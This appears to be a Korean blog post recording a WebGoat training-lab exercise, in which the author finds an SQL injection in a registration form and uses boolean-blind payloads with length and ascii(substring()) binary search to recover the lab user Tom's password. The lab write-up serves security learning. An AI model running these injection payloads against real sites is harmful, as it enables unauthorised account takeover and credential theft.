[실습2-11] SQL Injection(advanced) -2
내 계정이 아니라 Tom 계정으로 로그인하는 것이 목표이다.
우선 회원가입 시도를 해보자. 다 test로 계정을 만들어주었다.
이렇게 버프 스위트로 잡으면 밑에 이렇게 뜬다.
response를 보면 user test created라고 뜬다. 그럼 이제 이 request를 리피터에 넣고 다시 시도해보자.
다시 send하면 이미 test 라는 사용자 계정이 존재한다고 뜬다. 그러면 test1로 시도해보자.
이렇게 test1가 성공적으로 만들어졌다고 뜬다. 이로써 유추할 수 있는 게 생겼다.
먼저 중복 조회를 하고, insert를 하는 것 같다.
test' 라고 쓰니 문제가 발생한 것으로 보인다.
test'||'라고 쓰니까 이미 존재한다고 한다. sql injection에 취약하다는 것을 확인할 수 있다!
해당 부분이 취약하다.
이제 tom도 해보자.
tom도 계정이 존재한다. 이제 얘 패스워드를 알아내야 한다.
select * from member where username=''
얘는 원래 상태이고
select * from member where username='tom' and length(password)>0--'
tom' and length(password)>0--'
이 값을 넣어주자.
tom'+and+length(password)>0--'
이렇게 넣어야 공백 문자를 포함할 수 있다.
이렇게 넣어보면 0보다 당연히 크기 때문에 이미 있다고 뜬다. 계속해서 뒤에 있는 숫자를 늘려가며 created가 뜰 때까지 해보아야 한다.
23라고 하면 created라고 뜨고, 22라고 하면 이미 존재한다고 하므로 password 길이는 23자임을 확인할 수 있다.
다음으로는 하나하나씩 알아내야 한다.
tom'+and+substring(password,1,1)='a'--'
이렇게 하나하나씩 하기엔 너무 힘들다.
Blind-Based 데이터 추론 기법
1) 순차 탐색
2) 이진 탐색 => 32 ~ 126
여기서 크기가 더 큰지 확인해보는 것.
3) 비트 탐색
이진 탐색으로 해보자.
tom'+and+ascii(substring(password,1,1))>80--'
이미 존재한다고 뜨면 참이라는 뜻이다. 다음에는 100으로 해서 어쩌구저쩌구 찾아보자.
찾아보니 116번이다.
첫번째 문자는 t라는 것을 알 수 있다.
두번째는 104. h이다.
세번째는 105. i이다.
네번째는 115. s이다.
이렇게 계속해서 하면 답이 나온다.
thisisasecretfortomonly
휴 힘들었다
이렇게 하나하나 23자리까지 다 하면 끝!
'WebGoat' 카테고리의 다른 글
WebGoat (6) (0) | 2025.03.18 |
---|---|
WebGoat (4) (0) | 2025.03.17 |
WebGoat (3) (0) | 2025.03.12 |
WebGoat (2) (0) | 2025.03.10 |
WebGoat(1) (0) | 2025.03.10 |